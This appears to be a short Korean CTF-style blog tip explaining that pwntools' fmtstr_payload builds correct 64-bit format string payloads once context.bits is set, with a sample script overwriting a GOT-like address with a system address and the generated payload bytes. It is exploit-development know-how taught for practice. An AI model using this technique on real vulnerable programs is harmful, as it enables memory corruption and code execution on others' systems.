728x90
반응형
서론
최근까지도 format string bug 문제가 나오면 직접 페이로드를 작성했었다.
왜나하면 기본적인 pwntools fmtstr_payload가 64 bit 용으로는 제대로 작성되지 않는 경우가 많았기 때문이다.
더불오 인터넷에 올라와있는 많은 코드들도 오류가 발생하는 경우가 대부분이었다.
고정된 주소라면 상관 없지만,
leak 된 주소를 기반으로 하는 페이로드 작성이 시간이 지날수록 귀찮아짐에 따라
fmtstr_payload를 적극적으로 사용하기 위해 검색을 조금 했고, 드디어 찾아냈다.
방법
해결 방법이 너무 쉬웠다 -_-
단순히 contet.bits만 확실히 선언해주면 된다.
예를 들면 아래와 같다.
from pwn import *
context.bits = 64
system = 0x7f123456789012
payload = fmtstr_payload(8,{0x404028:system},100)
print(len(payload))
print(payload)
┌[wyv3rn🐲]-(~)
└> python solve.py
136
b'%174c%18$lln%19$hhn%34c%20$hhn%34c%21$hhn%34c%22$hhn%7c%23$hhn%17c%24$hhnaaaabaa(@@
\x00\x00\x00\x00\x00-@@\x00\x00\x00\x00\x00,@@\x00\x00\x00\x00\x00+@@\x00\x00\x00\x00
\x00*@@\x00\x00\x00\x00\x00.@@\x00\x00\x00\x00\x00)@@\x00\x00\x00\x00\x00'
다만, 주소를 너무 쪼개서 쓰기 때문에 꽤나 긴 페이로드가 만들어진다.
stack 크기가 한정되어있다면 조금 고민해봐야될 듯...
728x90
반응형
'Tips & theory' 카테고리의 다른 글
pip certificate error (0) | 2023.08.16 |
---|---|
format string bug - 스택의 값을 출력 값으로 쓸 수 없을까? (0) | 2023.07.02 |
vscode 탐색기에서 불필요한 파일 숨기기 (0) | 2023.02.12 |
Legendre Symbol - 르장드르 기호 (0) | 2023.02.09 |
Quadratic Residues - 제곱 잉여 (0) | 2023.02.07 |